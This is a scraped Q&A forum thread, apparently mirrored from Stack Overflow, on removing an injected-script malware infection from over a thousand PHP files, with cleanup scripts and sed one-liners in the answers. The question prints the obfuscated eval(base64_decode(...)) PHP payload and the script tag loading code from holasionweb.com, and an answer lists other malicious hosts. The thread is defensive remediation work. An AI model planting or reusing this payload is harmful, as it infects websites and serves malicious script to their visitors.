开发者

How can i remove an iframe virus from all of php files on my website?

开发者 https://www.devze.com 2022-12-29 12:57 出处:网络
I have a problem about removing a virus code from my php files. There are more than 1200 php files in my server and every single php file has been infected by a virus. Virus code开发者_Go百科 adding t

I have a problem about removing a virus code from my php files. There are more than 1200 php files in my server and every single php file has been infected by a virus. Virus code开发者_Go百科 adding this line to html output

<script src="http://holasionweb.com/oo.php"></script>

This is the code of virus

<?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmICghc3RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sImdvb2dsZWJvdCIpJiYgKCFzdHJpc3RyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwieWFob28iKSkpeyAgICAgICByZXR1cm4gYmFzZTY0X2RlY29kZSgiUEhOamNtbHdkQ0J6Y21NOUltaDBkSEE2THk5b2IyeGhjMmx2Ym5kbFlpNWpiMjB2YjI4dWNHaHdJajQ4TDNOamNtbHdkRDQ9Iik7ICAgICAgfSAgICAgIHJldHVybiAiIjsgICAgIH0gICAgfSAgICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNvZGUnKSl7ICAgICBmdW5jdGlvbiBnemRlY29kZSgkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDKXsgICAgICAkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEPUBvcmQoQHN1YnN0cigkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLDMsMSkpOyAgICAgICR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OUY3QjU5QzUxQjgxREUuZ21sKCk7ICAgICB9ICAgIH0gICAgb2Jfc3RhcnQoJ21yb2JoJyk7ICAgfSAgfQ=="));?>

Above code in every single php file. How can i remove this virus code from every php file ? Is there a quick way for doing it?


Save bellow code as cleaner.php and upload it to your root directory and call it via browser.

    Site clean up by <a href="http://sucuri.net">http://sucuri.net</a><br />
This script will clean the malware from this attack:
<a href="http://sucuri.net/malware/entry/MW:MROBH:1">http://sucuri.net/malware/entry/MW:MROBH:1</a>
<br /><br />
If you need help, contact dd@sucuri.net or visit us at <a href="http://sucuri.net/index.php?page=nbi">
http://sucuri.net/index.php?page=nbi</a>

<br />
<br />
<?php

$dir = "./";

$rmcode = `find $dir -name "*.php" -type f |xargs sed -i 's#<?php /\*\*/ eval(base64_decode("aWY.*?>##g' 2>&1`;
echo "Malware removed.<br />\n";
$emptyline = `find $dir -name "*.php" -type f | xargs sed -i '/./,$!d' 2>&1`;
echo "Empty lines removed.<br />\n";
?>
<br />
Completed.


Simple command from ssh similar to:

find /path/to/docroot -name '*.php' -exec sed -i 's/<script.*?holasionweb.*?script>//' {} \;


why not setup a quick script in your favorite scripting language to look through every file for something similar to that and remove it? souns like a 10 minute script to me

note i say script because 1200 files is too much to do manually


The first answer above is missing some code to complete the removal.

It also needs to remove the HTML script line that injects javascript into the PHP/HTML page (typically located at the end of the page near the tag, header, or otherwise).

Although as of 5/12/2010, holasionweb is the main source of the javscript injection (at least that I have seen), the above page: http://sucuri.net/malware/entry/MW:MROBH:1 refers to several "possible" javascipt sources that need to be removed.

(Infected malware javascript sites) www.indesignstudioinfo.com/ls.php zettapetta.com/js.php holasionweb.com/oo.php

Add these lines to remove the calls to the 3 malware sources: (if your infection uses another source, modify the regular express accordingly.

$removejs = find $dir -name "*.php" -type f |xargs sed -i 's#<script src="http://holasionweb\.com.*/script>##g' 2>&1;

$removejs = find $dir -name "*.php" -type f |xargs sed -i 's#<script src="http://www.indesignstudioinfo\.com.*/script>##g' 2>&1;

$removejs = find $dir -name "*.php" -type f |xargs sed -i 's#<script src="http://zettapetta\.com.*/script>##g' 2>&1;

echo "Javascript removed.
\n";


On some machines (with linux i guess) you have to add "" after sed's -i. After that command would look like this:

$rmcode = `find $dir -name "*.php" -type f |xargs sed -i "" 's#<?php /\*\*/ eval(base64_decode("aWY.*?>##g' 2>&1`;


If it's exactly the same piece of code in each file, then you could download Notepad++ for example. Open all files and use the Find in File in Find (ctrl+F) to replace this PHP code in every file

How can i remove an iframe virus from all of php files on my website?


The question nobody asked, but should: How did the files get infected on the server?

It is no use removing the traces of a virus if the infection method has not been found. If it is a security bug of an installed software package, then removal will likely not get you anything but reinfection, possibly after a short break. If it is a weak password that has been cracked, not changing it will leave the server subject to the same attack over and over again.

So the first step after detecting such an attack: Find out how it was done!

0

精彩评论

暂无评论...
验证码 换一张
取 消